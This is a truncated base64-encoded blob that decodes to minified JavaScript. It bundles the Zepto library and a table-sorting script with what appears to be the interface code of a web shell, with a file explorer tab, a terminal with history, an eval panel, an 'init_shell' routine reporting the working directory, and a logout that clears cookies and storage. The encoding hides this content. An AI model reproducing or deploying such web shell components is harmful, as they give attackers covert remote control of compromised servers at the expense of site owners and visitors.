lbnRUeXBlfHwiYXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVkIik7aWYoc2V0dGluZ3MuaGVhZGVycylmb3IobmFtZSBpbiBzZXR0aW5ncy5oZWFkZXJzKXNldEhlYWRlcihuYW1lLHNldHRpbmdzLmhlYWRlcnNbbmFtZV0pO3hoci5zZXRSZXF1ZXN0SGVhZGVyPXNldEhlYWRlcix4aHIub25yZWFkeXN0YXRlY2hhbmdlPWZ1bmN0aW9uKCl7aWYoeGhyLnJlYWR5U3RhdGU9PTQpe3hoci5vbnJlYWR5c3RhdGVjaGFuZ2U9ZW1wdHksY2xlYXJUaW1lb3V0KGFib3J0VGltZW91dCk7dmFyIHJlc3VsdCxlcnJvcj0hMTtpZih4aHIuc3RhdHVzPj0yMDAmJnhoci5zdGF0dXM8MzAwfHx4aHIuc3RhdHVzPT0zMDR8fHhoci5zdGF0dXM9PTAmJnByb3RvY29sPT0iZmlsZToiKXtkYXRhVHlwZT1kYXRhVHlwZXx8bWltZVRvRGF0YVR5cGUoc2V0dGluZ3MubWltZVR5cGV8fHhoci5nZXRSZXNwb25zZUhlYWRlcigiY29udGVudC10eXBlIikpLHJlc3VsdD14aHIucmVzcG9uc2VUZXh0O3RyeXtkYXRhVHlwZT09InNjcmlwdCI/KDEsZXZhbCkocmVzdWx0KTpkYXRhVHlwZT09InhtbCI/cmVzdWx0PXhoci5yZXNwb25zZVhNTDpkYXRhVHlwZT09Impzb24iJiYocmVzdWx0PWJsYW5rUkUudGVzdChyZXN1bHQpP251bGw6JC5wYXJzZUpTT04ocmVzdWx0KSl9Y2F0Y2goZSl7ZXJyb3I9ZX1lcnJvcj9hamF4RXJyb3IoZXJyb3IsInBhcnNlcmVycm9yIix4aHIsc2V0dGluZ3MsZGVmZXJyZWQpOmFqYXhTdWNjZXNzKHJlc3VsdCx4aHIsc2V0dGluZ3MsZGVmZXJyZWQpfWVsc2UgYWpheEVycm9yKHhoci5zdGF0dXNUZXh0fHxudWxsLHhoci5zdGF0dXM/ImVycm9yIjoiYWJvcnQiLHhocixzZXR0aW5ncyxkZWZlcnJlZCl9fTtpZihhamF4QmVmb3JlU2VuZCh4aHIsc2V0dGluZ3MpPT09ITEpcmV0dXJuIHhoci5hYm9ydCgpLGFqYXhFcnJvcihudWxsLCJhYm9ydCIseGhyLHNldHRpbmdzLGRlZmVycmVkKSx4aHI7aWYoc2V0dGluZ3MueGhyRmllbGRzKWZvcihuYW1lIGluIHNldHRpbmdzLnhockZpZWxkcyl4aHJbbmFtZV09c2V0dGluZ3MueGhyRmllbGRzW25hbWVdO3ZhciBhc3luYz0iYXN5bmMiaW4gc2V0dGluZ3M/c2V0dGluZ3MuYXN5bmM6ITA7eGhyLm9wZW4oc2V0dGluZ3MudHlwZSxzZXR0aW5ncy51cmwsYXN5bmMsc2V0dGluZ3MudXNlcm5hbWUsc2V0dGluZ3MucGFzc3dvcmQpO2ZvcihuYW1lIGluIGhlYWRlcnMpbmF0aXZlU2V0SGVhZGVyLmFwcGx5KHhocixoZWFkZXJzW25hbWVdKTtyZXR1cm4gc2V0dGluZ3MudGltZW91dD4wJiYoYWJvcnRUaW1lb3V0PXNldFRpbWVvdXQoZnVuY3Rpb24oKXt4aHIub25yZWFkeXN0YXRlY2hhbmdlPWVtcHR5LHhoci5hYm9ydCgpLGFqYXhFcnJvcihudWxsLCJ0aW1lb3V0Iix4aHIsc2V0dGluZ3MsZGVmZXJyZWQpfSxzZXR0aW5ncy50aW1lb3V0KSkseGhyLnNlbmQoc2V0dGluZ3MuZGF0YT9zZXR0aW5ncy5kYXRhOm51bGwpLHhocn0sJC5nZXQ9ZnVuY3Rpb24oYSxiLGMsZCl7cmV0dXJuICQuYWpheChwYXJzZUFyZ3VtZW50cy5hcHBseShudWxsLGFyZ3VtZW50cykpfSwkLnBvc3Q9ZnVuY3Rpb24oYSxiLGMsZCl7dmFyIGU9cGFyc2VBcmd1bWVudHMuYXBwbHkobnVsbCxhcmd1bWVudHMpO3JldHVybiBlLnR5cGU9IlBPU1QiLCQuYWpheChlKX0sJC5nZXRKU09OPWZ1bmN0aW9uKGEsYixjKXt2YXIgZD1wYXJzZUFyZ3VtZW50cy5hcHBseShudWxsLGFyZ3VtZW50cyk7cmV0dXJuIGQuZGF0YVR5cGU9Impzb24iLCQuYWpheChkKX0sJC5mbi5sb2FkPWZ1bmN0aW9uKGEsYixjKXtpZighdGhpcy5sZW5ndGgpcmV0dXJuIHRoaXM7dmFyIGQ9dGhpcyxlPWEuc3BsaXQoL1xzLyksZixnPXBhcnNlQXJndW1lbnRzKGEsYixjKSxoPWcuc3VjY2VzcztyZXR1cm4gZS5sZW5ndGg+MSYmKGcudXJsPWVbMF0sZj1lWzFdKSxnLnN1Y2Nlc3M9ZnVuY3Rpb24oYSl7ZC5odG1sKGY/JCgiPGRpdj4iKS5odG1sKGEucmVwbGFjZShyc2NyaXB0LCIiKSkuZmluZChmKTphKSxoJiZoLmFwcGx5KGQsYXJndW1lbnRzKX0sJC5hamF4KGcpLHRoaXN9O3ZhciBlc2NhcGU9ZW5jb2RlVVJJQ29tcG9uZW50OyQucGFyYW09ZnVuY3Rpb24oYSxiKXt2YXIgYz1bXTtyZXR1cm4gYy5hZGQ9ZnVuY3Rpb24oYSxiKXt0aGlzLnB1c2goZXNjYXBlKGEpKyI9Iitlc2NhcGUoYikpfSxzZXJpYWxpemUoYyxhLGIpLGMuam9pbigiJiIpLnJlcGxhY2UoLyAvZywiKyIpfX0oWmVwdG8pLGZ1bmN0aW9uKGEpe2EuZm4uc2VyaWFsaXplQXJyYXk9ZnVuY3Rpb24oKXt2YXIgYj1bXSxjO3JldHVybiBhKFtdLnNsaWNlLmNhbGwodGhpcy5nZXQoMCkuZWxlbWVudHMpKS5lYWNoKGZ1bmN0aW9uKCl7Yz1hKHRoaXMpO3ZhciBkPWMuYXR0cigidHlwZSIpO3RoaXMubm9kZU5hbWUudG9Mb3dlckNhc2UoKSE9ImZpZWxkc2V0IiYmIXRoaXMuZGlzYWJsZWQmJmQhPSJzdWJtaXQiJiZkIT0icmVzZXQiJiZkIT0iYnV0dG9uIiYmKGQhPSJyYWRpbyImJmQhPSJjaGVja2JveCJ8fHRoaXMuY2hlY2tlZCkmJmIucHVzaCh7bmFtZTpjLmF0dHIoIm5hbWUiKSx2YWx1ZTpjLnZhbCgpfSl9KSxifSxhLmZuLnNlcmlhbGl6ZT1mdW5jdGlvbigpe3ZhciBhPVtdO3JldHVybiB0aGlzLnNlcmlhbGl6ZUFycmF5KCkuZm9yRWFjaChmdW5jdGlvbihiKXthLnB1c2goZW5jb2RlVVJJQ29tcG9uZW50KGIubmFtZSkrIj0iK2VuY29kZVVSSUNvbXBvbmVudChiLnZhbHVlKSl9KSxhLmpvaW4oIiYiKX0sYS5mbi5zdWJtaXQ9ZnVuY3Rpb24oYil7aWYoYil0aGlzLmJpbmQoInN1Ym1pdCIsYik7ZWxzZSBpZih0aGlzLmxlbmd0aCl7dmFyIGM9YS5FdmVudCgic3VibWl0Iik7dGhpcy5lcSgwKS50cmlnZ2VyKGMpLGMuaXNEZWZhdWx0UHJldmVudGVkKCl8fHRoaXMuZ2V0KDApLnN1Ym1pdCgpfXJldHVybiB0aGlzfX0oWmVwdG8pLGZ1bmN0aW9uKGEpeyJfX3Byb3RvX18iaW57fXx8YS5leHRlbmQoYS56ZXB0byx7WjpmdW5jdGlvbihiLGMpe3JldHVybiBiPWJ8fFtdLGEuZXh0ZW5kKGIsYS5mbiksYi5zZWxlY3Rvcj1jfHwiIixiLl9fWj0hMCxifSxpc1o6ZnVuY3Rpb24oYil7cmV0dXJuIGEudHlwZShiKT09PSJhcnJheSImJiJfX1oiaW4gYn19KTt0cnl7Z2V0Q29tcHV0ZWRTdHlsZSh1bmRlZmluZWQpfWNhdGNoKGIpe3ZhciBjPWdldENvbXB1dGVkU3R5bGU7d2luZG93LmdldENvbXB1dGVkU3R5bGU9ZnVuY3Rpb24oYSl7dHJ5e3JldHVybiBjKGEpfWNhdGNoKGIpe3JldHVybiBudWxsfX19fShaZXB0bykKdmFyIGg9ITAsaj0hMTtzb3J0dGFibGU9e2U6ZnVuY3Rpb24oKXthcmd1bWVudHMuY2FsbGVlLml8fChhcmd1bWVudHMuY2FsbGVlLmk9aCxrJiZjbGVhckludGVydmFsKGspLGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQmJmRvY3VtZW50LmdldEVsZW1lbnRzQnlUYWdOYW1lJiYoc29ydHRhYmxlLmE9L14oXGRcZD8pW1wvXC4tXShcZFxkPylbXC9cLi1dKChcZFxkKT9cZFxkKSQvLGwoZG9jdW1lbnQuZ2V0RWxlbWVudHNCeVRhZ05hbWUoInRhYmxlIiksZnVuY3Rpb24oYSl7LTEhPWEuY2xhc3NOYW1lLnNlYXJjaCgvXGJzb3J0YWJsZVxiLykmJnNvcnR0YWJsZS5rKGEpfSkpKX0sazpmdW5jdGlvbihhKXswPT1hLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJ0aGVhZCIpLmxlbmd0aCYmKHRoZT1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJ0aGVhZCIpLHRoZS5hcHBlbmRDaGlsZChhLnJvd3NbMF0pLGEuaW5zZXJ0QmVmb3JlKHRoZSxhLmZpcnN0Q2hpbGQpKTtudWxsPT1hLnRIZWFkJiYoYS50SGVhZD1hLmdldEVsZW1lbnRzQnlUYWdOYW1lKCJ0aGVhZCIpWzBdKTtpZigxPT1hLnRIZWFkLnJvd3MubGVuZ3RoKXtzb3J0Ym90dG9tcm93cz1bXTtmb3IodmFyIGI9MDtiPGEucm93cy5sZW5ndGg7YisrKS0xIT1hLnJvd3NbYl0uY2xhc3NOYW1lLnNlYXJjaCgvXGJzb3J0Ym90dG9tXGIvKSYmKHNvcnRib3R0b21yb3dzW3NvcnRib3R0b21yb3dzLmxlbmd0aF09YS5yb3dzW2JdKTtpZihzb3J0Ym90dG9tcm93cyl7bnVsbD09YS50Rm9vdCYmKHRmbz1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJ0Zm9vdCIpLGEuYXBwZW5kQ2hpbGQodGZvKSk7Zm9yKGI9MDtiPHNvcnRib3R0b21yb3dzLmxlbmd0aDtiKyspdGZvLmFwcGVuZENoaWxkKHNvcnRib3R0b21yb3dzW2JdKTtkZWxldGUgc29ydGJvdHRvbXJvd3N9aGVhZHJvdz1hLnRIZWFkLnJvd3NbMF0uY2VsbHM7Zm9yKGI9MDtiPGhlYWRyb3cubGVuZ3RoO2IrKylpZighaGVhZHJvd1tiXS5jbGFzc05hbWUubWF0Y2goL1xic29ydHRhYmxlX25vc29ydFxiLykpeyhtdGNoPWhlYWRyb3dbYl0uY2xhc3NOYW1lLm1hdGNoKC9cYnNvcnR0YWJsZV8oW2EtejAtOV0rKVxiLykpJiYob3ZlcnJpZGU9bXRjaFsxXSk7aGVhZHJvd1tiXS5wPW10Y2gmJiJmdW5jdGlvbiI9PXR5cGVvZiBzb3J0dGFibGVbInNvcnRfIitvdmVycmlkZV0/c29ydHRhYmxlWyJzb3J0XyIrb3ZlcnJpZGVdOnNvcnR0YWJsZS5qKGEsYik7aGVhZHJvd1tiXS5vPWI7aGVhZHJvd1tiXS5jPWEudEJvZGllc1swXTt2YXIgYz1oZWFkcm93W2JdLGU9c29ydHRhYmxlLnE9ZnVuY3Rpb24oKXtpZigtMSE9dGhpcy5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnR0YWJsZV9zb3J0ZWRcYi8pKXNvcnR0YWJsZS5yZXZlcnNlKHRoaXMuYyksdGhpcy5jbGFzc05hbWU9dGhpcy5jbGFzc05hbWUucmVwbGFjZSgic29ydHRhYmxlX3NvcnRlZCIsInNvcnR0YWJsZV9zb3J0ZWRfcmV2ZXJzZSIpLHRoaXMucmVtb3ZlQ2hpbGQoZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoInNvcnR0YWJsZV9zb3J0ZndkaW5kIikpLHNvcnRyZXZpbmQ9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic3BhbiIpLHNvcnRyZXZpbmQuaWQ9InNvcnR0YWJsZV9zb3J0cmV2aW5kIixzb3J0cmV2aW5kLmlubmVySFRNTD0iJm5ic3A7JiN4MjVCNDsiLHRoaXMuYXBwZW5kQ2hpbGQoc29ydHJldmluZCk7ZWxzZSBpZigtMSE9dGhpcy5jbGFzc05hbWUuc2VhcmNoKC9cYnNvcnR0YWJsZV9zb3J0ZWRfcmV2ZXJzZVxiLykpc29ydHRhYmxlLnJldmVyc2UodGhpcy5jKSx0aGlzLmNsYXNzTmFtZT10aGlzLmNsYXNzTmFtZS5yZXBsYWNlKCJzb3J0dGFibGVfc29ydGVkX3JldmVyc2UiLCJzb3J0dGFibGVfc29ydGVkIiksdGhpcy5yZW1vdmVDaGlsZChkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic29ydHRhYmxlX3NvcnRyZXZpbmQiKSksc29ydGZ3ZGluZD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCJzcGFuIiksc29ydGZ3ZGluZC5pZD0ic29ydHRhYmxlX3NvcnRmd2RpbmQiLHNvcnRmd2RpbmQuaW5uZXJIVE1MPSImbmJzcDsmI3gyNUJFOyIsdGhpcy5hcHBlbmRDaGlsZChzb3J0ZndkaW5kKTtlbHNle3RoZWFkcm93PXRoaXMucGFyZW50Tm9kZTtsKHRoZWFkcm93LmNoaWxkTm9kZXMsZnVuY3Rpb24oYSl7MT09YS5ub2RlVHlwZSYmKGEuY2xhc3NOYW1lPWEuY2xhc3NOYW1lLnJlcGxhY2UoInNvcnR0YWJsZV9zb3J0ZWRfcmV2ZXJzZSIsIiIpLGEuY2xhc3NOYW1lPWEuY2xhc3NOYW1lLnJlcGxhY2UoInNvcnR0YWJsZV9zb3J0ZWQiLCIiKSl9KTsoc29ydGZ3ZGluZD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic29ydHRhYmxlX3NvcnRmd2RpbmQiKSkmJnNvcnRmd2RpbmQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChzb3J0ZndkaW5kKTsoc29ydHJldmluZD1kb2N1bWVudC5nZXRFbGVtZW50QnlJZCgic29ydHRhYmxlX3NvcnRyZXZpbmQiKSkmJnNvcnRyZXZpbmQucGFyZW50Tm9kZS5yZW1vdmVDaGlsZChzb3J0cmV2aW5kKTt0aGlzLmNsYXNzTmFtZSs9IiBzb3J0dGFibGVfc29ydGVkIjtzb3J0ZndkaW5kPWRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNwYW4iKTtzb3J0ZndkaW5kLmlkPSJzb3J0dGFibGVfc29ydGZ3ZGluZCI7c29ydGZ3ZGluZC5pbm5lckhUTUw9IiZuYnNwOyYjeDI1QkU7Ijt0aGlzLmFwcGVuZENoaWxkKHNvcnRmd2RpbmQpO3Jvd19hcnJheT1bXTtjb2w9dGhpcy5vO3Jvd3M9dGhpcy5jLnJvd3M7Zm9yKHZhciBhPTA7YTxyb3dzLmxlbmd0aDthKyspcm93X2FycmF5W3Jvd19hcnJheS5sZW5ndGhdPVtzb3J0dGFibGUuZChyb3dzW2FdLmNlbGxzW2NvbF0pLHJvd3NbYV1dO3Jvd19hcnJheS5zb3J0KHRoaXMucCk7dGI9dGhpcy5jO2ZvcihhPTA7YTxyb3dfYXJyYXkubGVuZ3RoO2ErKyl0Yi5hcHBlbmRDaGlsZChyb3dfYXJyYXlbYV1bMV0pO2RlbGV0ZSByb3dfYXJyYXl9fTtpZihjLmFkZEV2ZW50TGlzdGVuZXIpYy5hZGRFdmVudExpc3RlbmVyKCJjbGljayIsZSxqKTtlbHNle2UuZnx8KGUuZj1uKyspO2MuYnx8KGMuYj17fSk7dmFyIGc9Yy5iLmNsaWNrO2d8fChnPWMuYi5jbGljaz17fSxjLm9uY2xpY2smJihnWzBdPWMub25jbGljaykpO2dbZS5mXT1lO2Mub25jbGljaz1wfX19fSxqOmZ1bmN0aW9uKGEsYil7c29ydGZuPXNvcnR0YWJsZS5sO2Zvcih2YXIgYz0wO2M8YS50Qm9kaWVzWzBdLnJvd3MubGVuZ3RoO2MrKylpZih0ZXh0PXNvcnR0YWJsZS5kKGEudEJvZGllc1swXS5yb3dzW2NdLmNlbGxzW2JdKSwiIiE9dGV4dCl7aWYodGV4dC5tYXRjaCgvXi0/W1x1MDBhMyRcdTAwYTRdP1tcZCwuXSslPyQvKSlyZXR1cm4gc29ydHRhYmxlLm47aWYocG9zc2RhdGU9dGV4dC5tYXRjaChzb3J0dGFibGUuYSkpe2ZpcnN0PXBhcnNlSW50KHBvc3NkYXRlWzFdKTtzZWNvbmQ9cGFyc2VJbnQocG9zc2RhdGVbMl0pO2lmKDEyPGZpcnN0KXJldHVybiBzb3J0dGFibGUuZztpZigxMjxzZWNvbmQpcmV0dXJuIHNvcnR0YWJsZS5tO3NvcnRmbj1zb3J0dGFibGUuZ319cmV0dXJuIHNvcnRmbn0sZDpmdW5jdGlvbihhKXtpZighYSlyZXR1cm4iIjtoYXNJbnB1dHM9ImZ1bmN0aW9uIj09dHlwZW9mIGEuZ2V0RWxlbWVudHNCeVRhZ05hbWUmJmEuZ2V0RWxlbWVudHNCeVRhZ05hbWUoImlucHV0IikubGVuZ3RoO2lmKCIiIT1hLnRpdGxlKXJldHVybiBhLnRpdGxlO2lmKCJ1bmRlZmluZWQiIT10eXBlb2YgYS50ZXh0Q29udGVudCYmIWhhc0lucHV0cylyZXR1cm4gYS50ZXh0Q29udGVudC5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7aWYoInVuZGVmaW5lZCIhPXR5cGVvZiBhLmlubmVyVGV4dCYmIWhhc0lucHV0cylyZXR1cm4gYS5pbm5lclRleHQucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO2lmKCJ1bmRlZmluZWQiIT10eXBlb2YgYS50ZXh0JiYhaGFzSW5wdXRzKXJldHVybiBhLnRleHQucmVwbGFjZSgvXlxzK3xccyskL2csIiIpO3N3aXRjaChhLm5vZGVUeXBlKXtjYXNlIDM6aWYoImlucHV0Ij09YS5ub2RlTmFtZS50b0xvd2VyQ2FzZSgpKXJldHVybiBhLnZhbHVlLnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTtjYXNlIDQ6cmV0dXJuIGEubm9kZVZhbHVlLnJlcGxhY2UoL15ccyt8XHMrJC9nLCIiKTtjYXNlIDE6Y2FzZSAxMTpmb3IodmFyIGI9IiIsYz0wO2M8YS5jaGlsZE5vZGVzLmxlbmd0aDtjKyspYis9c29ydHRhYmxlLmQoYS5jaGlsZE5vZGVzW2NdKTtyZXR1cm4gYi5yZXBsYWNlKC9eXHMrfFxzKyQvZywiIik7ZGVmYXVsdDpyZXR1cm4iIn19LHJldmVyc2U6ZnVuY3Rpb24oYSl7bmV3cm93cz1bXTtmb3IodmFyIGI9MDtiPGEucm93cy5sZW5ndGg7YisrKW5ld3Jvd3NbbmV3cm93cy5sZW5ndGhdPWEucm93c1tiXTtmb3IoYj1uZXdyb3dzLmxlbmd0aC0xOzA8PWI7Yi0tKWEuYXBwZW5kQ2hpbGQobmV3cm93c1tiXSk7ZGVsZXRlIG5ld3Jvd3N9LG46ZnVuY3Rpb24oYSxiKXthYT1wYXJzZUZsb2F0KGFbMF0ucmVwbGFjZSgvW14wLTkuLV0vZywiIikpO2lzTmFOKGFhKSYmKGFhPTApO2JiPXBhcnNlRmxvYXQoYlswXS5yZXBsYWNlKC9bXjAtOS4tXS9nLCIiKSk7aXNOYU4oYmIpJiYoYmI9MCk7cmV0dXJuIGFhLWJifSxsOmZ1bmN0aW9uKGEsYil7cmV0dXJuIGFbMF0udG9Mb3dlckNhc2UoKT09YlswXS50b0xvd2VyQ2FzZSgpPzA6YVswXS50b0xvd2VyQ2FzZSgpPGJbMF0udG9Mb3dlckNhc2UoKT8tMToxfSxnOmZ1bmN0aW9uKGEsYil7bXRjaD1hWzBdLm1hdGNoKHNvcnR0YWJsZS5hKTt5PW10Y2hbM107bT1tdGNoWzJdO2Q9bXRjaFsxXTsxPT1tLmxlbmd0aCYmKG09IjAiK20pOzE9PWQubGVuZ3RoJiYoZD0iMCIrZCk7ZHQxPXkrbStkO210Y2g9YlswXS5tYXRjaChzb3J0dGFibGUuYSk7eT1tdGNoWzNdO209bXRjaFsyXTtkPW10Y2hbMV07MT09bS5sZW5ndGgmJihtPSIwIittKTsxPT1kLmxlbmd0aCYmKGQ9IjAiK2QpO2R0Mj15K20rZDtyZXR1cm4gZHQxPT1kdDI/MDpkdDE8ZHQyPy0xOjF9LG06ZnVuY3Rpb24oYSxiKXttdGNoPWFbMF0ubWF0Y2goc29ydHRhYmxlLmEpO3k9bXRjaFszXTtkPW10Y2hbMl07bT1tdGNoWzFdOzE9PW0ubGVuZ3RoJiYobT0iMCIrbSk7MT09ZC5sZW5ndGgmJihkPSIwIitkKTtkdDE9eSttK2Q7bXRjaD1iWzBdLm1hdGNoKHNvcnR0YWJsZS5hKTt5PW10Y2hbM107ZD1tdGNoWzJdO209bXRjaFsxXTsxPT1tLmxlbmd0aCYmKG09IjAiK20pOzE9PWQubGVuZ3RoJiYoZD0iMCIrZCk7ZHQyPXkrbStkO3JldHVybiBkdDE9PWR0Mj8wOmR0MTxkdDI/LTE6MX0scjpmdW5jdGlvbihhLGIpe2Zvcih2YXIgYz0wLGU9YS5sZW5ndGgtMSxnPWg7Zzspe2Zvcih2YXIgZz1qLGY9YztmPGU7KytmKTA8YihhW2ZdLGFbZisxXSkmJihnPWFbZl0sYVtmXT1hW2YrMV0sYVtmKzFdPWcsZz1oKTtlLS07aWYoIWcpYnJlYWs7Zm9yKGY9ZTtmPmM7LS1mKTA+YihhW2ZdLGFbZi0xXSkmJihnPWFbZl0sYVtmXT1hW2YtMV0sYVtmLTFdPWcsZz1oKTtjKyt9fX07ZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lciYmZG9jdW1lbnQuYWRkRXZlbnRMaXN0ZW5lcigiRE9NQ29udGVudExvYWRlZCIsc29ydHRhYmxlLmUsaik7aWYoL1dlYktpdC9pLnRlc3QobmF2aWdhdG9yLnVzZXJBZ2VudCkpdmFyIGs9c2V0SW50ZXJ2YWwoZnVuY3Rpb24oKXsvbG9hZGVkfGNvbXBsZXRlLy50ZXN0KGRvY3VtZW50LnJlYWR5U3RhdGUpJiZzb3J0dGFibGUuZSgpfSwxMCk7d2luZG93Lm9ubG9hZD1zb3J0dGFibGUuZTt2YXIgbj0xO2Z1bmN0aW9uIHAoYSl7dmFyIGI9aDthfHwoYT0oKHRoaXMub3duZXJEb2N1bWVudHx8dGhpcy5kb2N1bWVudHx8dGhpcykucGFyZW50V2luZG93fHx3aW5kb3cpLmV2ZW50LGEucHJldmVudERlZmF1bHQ9cSxhLnN0b3BQcm9wYWdhdGlvbj1yKTt2YXIgYz10aGlzLmJbYS50eXBlXSxlO2ZvcihlIGluIGMpdGhpcy5oPWNbZV0sdGhpcy5oKGEpPT09aiYmKGI9aik7cmV0dXJuIGJ9ZnVuY3Rpb24gcSgpe3RoaXMucmV0dXJuVmFsdWU9an1mdW5jdGlvbiByKCl7dGhpcy5jYW5jZWxCdWJibGU9aH1BcnJheS5mb3JFYWNofHwoQXJyYXkuZm9yRWFjaD1mdW5jdGlvbihhLGIsYyl7Zm9yKHZhciBlPTA7ZTxhLmxlbmd0aDtlKyspYi5jYWxsKGMsYVtlXSxlLGEpfSk7RnVuY3Rpb24ucHJvdG90eXBlLmZvckVhY2g9ZnVuY3Rpb24oYSxiLGMpe2Zvcih2YXIgZSBpbiBhKSJ1bmRlZmluZWQiPT10eXBlb2YgdGhpcy5wcm90b3R5cGVbZV0mJmIuY2FsbChjLGFbZV0sZSxhKX07U3RyaW5nLmZvckVhY2g9ZnVuY3Rpb24oYSxiLGMpe0FycmF5LmZvckVhY2goYS5zcGxpdCgiIiksZnVuY3Rpb24oZSxnKXtiLmNhbGwoYyxlLGcsYSl9KX07ZnVuY3Rpb24gbChhLGIpe2lmKGEpe3ZhciBjPU9iamVjdDtpZihhIGluc3RhbmNlb2YgRnVuY3Rpb24pYz1GdW5jdGlvbjtlbHNle2lmKGEuZm9yRWFjaCBpbnN0YW5jZW9mIEZ1bmN0aW9uKXthLmZvckVhY2goYix2b2lkIDApO3JldHVybn0ic3RyaW5nIj09dHlwZW9mIGE/Yz1TdHJpbmc6Im51bWJlciI9PXR5cGVvZiBhLmxlbmd0aCYmKGM9QXJyYXkpfWMuZm9yRWFjaChhLGIsdm9pZCAwKX19O3ZhciBsb2FkaW5nX2NvdW50PTA7dmFyIHJ1bm5pbmc9ZmFsc2U7dmFyIGRlZmF1bHRUYWI9J2V4cGxvcmVyJzt2YXIgY3VycmVudFRhYj0kKCcjJytkZWZhdWx0VGFiKTt2YXIgdGFiU2Nyb2xsPW5ldyBPYmplY3Q7dmFyIG9uRHJhZz1mYWxzZTt2YXIgb25TY3JvbGw9ZmFsc2U7dmFyIHNjcm9sbERlbHRhPTE7dmFyIHNjcm9sbENvdW50ZXI9MDt2YXIgc2Nyb2xsU3BlZWQ9NjA7dmFyIHNjcm9sbFRpbWVyPScnO3ZhciBkcmFnWD0nJzt2YXIgZHJhZ1k9Jyc7dmFyIGRyYWdEZWx0YVg9Jyc7dmFyIGRyYWdEZWx0YVk9Jyc7dmFyIGVkaXRTdWNjZXNzPScnO3ZhciB0ZXJtaW5hbEhpc3Rvcnk9bmV3IEFycmF5KCk7dmFyIHRlcm1pbmFsSGlzdG9yeVBvcz0wO3ZhciBldmFsU3VwcG9ydGVkPSIiO3ZhciBldmFsUmVhZHk9ZmFsc2U7dmFyIHJlc2l6ZVRpbWVyPScnO3ZhciBwb3J0YWJsZVdpZHRoPTcwMDt2YXIgcG9ydGFibGVNb2RlPW51bGw7WmVwdG8oZnVuY3Rpb24oJCl7aWYoaW5pdF9zaGVsbCl7dmFyIG5vdz1uZXcgRGF0ZSgpO291dHB1dCgic3RhcnRlZCBAICIrbm93LnRvR01UU3RyaW5nKCkpO291dHB1dCgiY3dkIDogIitnZXRfY3dkKCkpO291dHB1dCgibW9kdWxlIDogIittKTtzaG93X3RhYigpO3hwbF9iaW5kKCk7ZXZhbF9pbml0KCk7d2luZG93X3Jlc2l6ZSgpO3hwbF91cGRhdGVfc3RhdHVzKCk7JCh3aW5kb3cpLm9uKCdyZXNpemUnLGZ1bmN0aW9uKGUpe2NsZWFyVGltZW91dChyZXNpemVUaW1lcik7cmVzaXplVGltZXI9c2V0VGltZW91dCgid2luZG93X3Jlc2l6ZSgpIiwxMDAwKX0pOyQoJy5tZW51aXRlbScpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7c2VsZWN0ZWRUYWI9JCh0aGlzKS5hdHRyKCdocmVmJykuc3Vic3RyKDIpO3Nob3dfdGFiKHNlbGVjdGVkVGFiKX0pOyQoJyNsb2dvdXQnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpe3ZhciBjb29raWU9ZG9jdW1lbnQuY29va2llLnNwbGl0KCc7Jyk7Zm9yKHZhciBpPTA7aTxjb29raWUubGVuZ3RoO2krKyl7dmFyIGVudHJpZXM9Y29va2llW2ldLGVudHJ5PWVudHJpZXMuc3BsaXQoIj0iKSxuYW1lPWVudHJ5WzBdO2RvY3VtZW50LmNvb2tpZT1uYW1lKyI9Jyc7IGV4cGlyZXM9VGh1LCAwMSBKYW4gMTk3MCAwMDowMDowMSBHTVQ7IHBhdGg9LyJ9bG9jYWxTdG9yYWdlLmNsZWFyKCk7bG9jYXRpb24uaHJlZj10YXJnZXR1cmx9KTskKCcjdG90b3AnKS5vbignY2xpY2snLGZ1bmN0aW9uKGUpeyQod2luZG93KS5zY3JvbGxUb3AoMCl9KTskKCcjdG90b3AnKS5vbignbW91c2VvdmVyJyxmdW5jdGlvbihlKXtvblNjcm9sbD10cnVlO2NsZWFyVGltZW91dChzY3JvbGxUaW1lcik7c3RhcnRfc2Nyb2xsKCd0b3AnKX0pOyQoJyN0b3RvcCcpLm9uKCdtb3VzZW91dCcsZnVuY3Rpb24oZSl7b25TY3JvbGw9ZmFsc2U7c2Nyb2xsQ291bnRlcj0wfSk7JCgnI3RvYm90dG9tJykub24oJ2NsaWNrJyxmdW5jdGlvbihlKXskKHdpbmRvdykuc2Nyb2xsVG9wKCQoZG9jdW1lbnQpLmhlaWdodCgpLSQod2luZG93KS5oZWlnaHQoKSl9KTskKCcjdG9ib3R0b20nKS5vbignbW91c2VvdmVyJyxmdW5jdGlvbihlKXtvblNjcm9sbD10cnVlO2NsZWFyVGltZW91dChzY3JvbGxUaW1lcik7c3RhcnRfc2Nyb2xsKCdib3R0b20nKX0pOyQoJyN0b2JvdHRvbScpLm9uKCdtb3VzZW91dCcsZnVuY3Rpb24oZSl7b25TY3JvbGw9ZmFsc2U7c2Nyb2xsQ291bnRlcj0wfSk7JCgnI2Jhc2ljSW5mbycpLm9uKCdtb3VzZWVudGVyJyxmdW5jdGlvbihlKXskKCcjdG9nZ2xlQmFzaWNJbmZvJykuc2hvdygpfSk7JCgnI2Jhc2ljSW5mbycpLm9uKCdtb3VzZWxlYXZlJyxmdW5jdGlvbihlKXskKCcjdG9nZ2xlQmFzaWNJbmZvJykuaGlkZSgpfSk7JCgnI3RvZ2dsZUJhc2ljSW5mbycpLm9uKCdjbGljaycsZnVuY3Rpb24oZSl7JCgnI2Jhc2ljSW5mbycpLmhpZGUoKTskKCcjc2hvd2luZm8nKS5zaG93KCk7JCgnI3RvZ2dsZUJhc2ljSW5mbycpLmhpZGUoKTtsb2NhbFN0b3JhZ2Uuc2V0SXRlbSgnaW5mb0JhclNob3duJywnaGlkZGVuJyl9KTskKCcjc2hvd2